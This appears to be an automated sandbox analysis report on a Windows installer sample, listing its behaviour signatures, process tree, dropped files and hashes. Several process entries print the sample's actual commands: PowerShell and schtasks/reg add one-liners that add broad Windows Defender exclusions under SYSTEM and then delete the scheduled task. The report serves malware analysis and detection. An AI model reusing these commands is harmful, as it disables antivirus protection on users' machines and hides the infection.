Analysis

  • max time kernel
    143s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 09:07

General

  • Target
    install.2.0.01.exe
  • Size 38.9MB
  • Sample261024-k3redaef53
  • SHA256 3f74bd80c47403569afdebae663e696a4f96a705b86f56ba01fa6897af77bf09
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.01.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.01.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4088
  • C:\Users\Public\Mn4Jb8\966zl4.exe
    "C:\Users\Public\Mn4Jb8\966zl4.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:5396
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Mn4Jb8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:1988
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Mn4Jb8\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4604
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3584
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5712
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:5076
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5116
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5132
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3420
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:5036
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:6132
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3864
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4964
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:3228
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3692
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1820
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5348
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:1260
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:6068
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3680
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Mn4Jb8" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:1944
                    • C:\Users\Public\Mn4Jb8\966zl4.exe
                      "C:\Users\Public\Mn4Jb8\966zl4.exe"
                      1⤵
                        PID:2944
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5544
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:5976
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:2396

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 aeddd2b80f2c3ebe3ca5585f552af9b283f071cb685cd0ff2503888d79e06e24
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 a7ff92e6fbe3a854159b590b4d8fa15e8cfe6b397f3ddefa8fc8b18fdbd85d8d
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 87bb78e774db153c8bd1c5e9e87a1d14718859fcbb1d959bfe0b29f88c34c940
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 ec17a19397de8b9f6e99d63a99a9512ac2b288895367c3a53a2f784bdaab0652
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_bshpsdet.yn0.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bshpsdet.yn0.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              966zl4.exe

                              • Path C:\Users\Public\Mn4Jb8\966zl4.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\Mn4Jb8\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 4f9d1efebf32a58d05288773db55c8bf2a8855e17af1957aa63c11f13693a19b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\Mn4Jb8\adoresd.dat
                              • Size 4.8MB
                              • SHA256 a303cf78b5bb929334d23fb3c8547291816504ee539b5918fc2fd255193b4159
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\Mn4Jb8\msadox.tb
                              • Size 8KB
                              • SHA256 b4f80afbdaf69371594ccf58bda62be4266dca28e46ccdf3e984a9c7bc77d31b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2780-564-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-567-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-530-0x00007FFB7F4B0000-0x00007FFB7F4B2000-memory.dmp

                              memory/2780-536-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-543-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-539-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-544-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-546-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-545-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-538-0x00007FFB7F4C0000-0x00007FFB7F4C2000-memory.dmp

                              memory/2780-550-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-561-0x0000022A3E940000-0x0000022A3E9CA000-memory.dmp

                              memory/2780-560-0x0000022A3E940000-0x0000022A3E9CA000-memory.dmp

                              memory/2780-531-0x00007FFB5D8B0000-0x00007FFB5DDCE000-memory.dmp

                              memory/2780-562-0x0000022A3E940000-0x0000022A3E9CA000-memory.dmp

                              memory/2780-559-0x0000022A3E940000-0x0000022A3E9CA000-memory.dmp

                              memory/2780-558-0x0000022A3D260000-0x0000022A3D2AE000-memory.dmp

                              memory/2780-556-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2780-566-0x0000022A3DC90000-0x0000022A3E567000-memory.dmp

                              memory/2944-590-0x000001E535F10000-0x000001E5367E7000-memory.dmp

                              memory/2944-591-0x00007FFB7F4B0000-0x00007FFB7F4B2000-memory.dmp

                              memory/2944-576-0x000001E535F10000-0x000001E5367E7000-memory.dmp

                              memory/2944-589-0x000001E535F10000-0x000001E5367E7000-memory.dmp

                              memory/2944-579-0x000001E535F10000-0x000001E5367E7000-memory.dmp

                              memory/2944-583-0x000001E535F10000-0x000001E5367E7000-memory.dmp

                              memory/2944-578-0x00007FFB7F4C0000-0x00007FFB7F4C2000-memory.dmp

                              memory/2944-586-0x000001E535F10000-0x000001E5367E7000-memory.dmp

                              memory/2944-573-0x00007FFB5D8B0000-0x00007FFB5DDCE000-memory.dmp

                              memory/4088-524-0x0000000002000000-0x000000000200E000-memory.dmp

                              memory/4088-525-0x00007FFB77160000-0x00007FFB77172000-memory.dmp

                              memory/4088-504-0x00007FFB77160000-0x00007FFB77172000-memory.dmp

                              memory/4088-0-0x0000000002000000-0x000000000200E000-memory.dmp

                              memory/4088-2-0x0000000002050000-0x000000000205C000-memory.dmp

                              memory/4088-1-0x0000000002000000-0x000000000200E000-memory.dmp

                              memory/5396-597-0x0000019DEF9B0000-0x0000019DEF9D2000-memory.dmp

                              memory/5396-604-0x0000019DEFD80000-0x0000019DEFE32000-memory.dmp

                              memory/5396-603-0x0000019DEFA00000-0x0000019DEFA1E000-memory.dmp

                              memory/5396-605-0x0000019DEF9F0000-0x0000019DEF9FA000-memory.dmp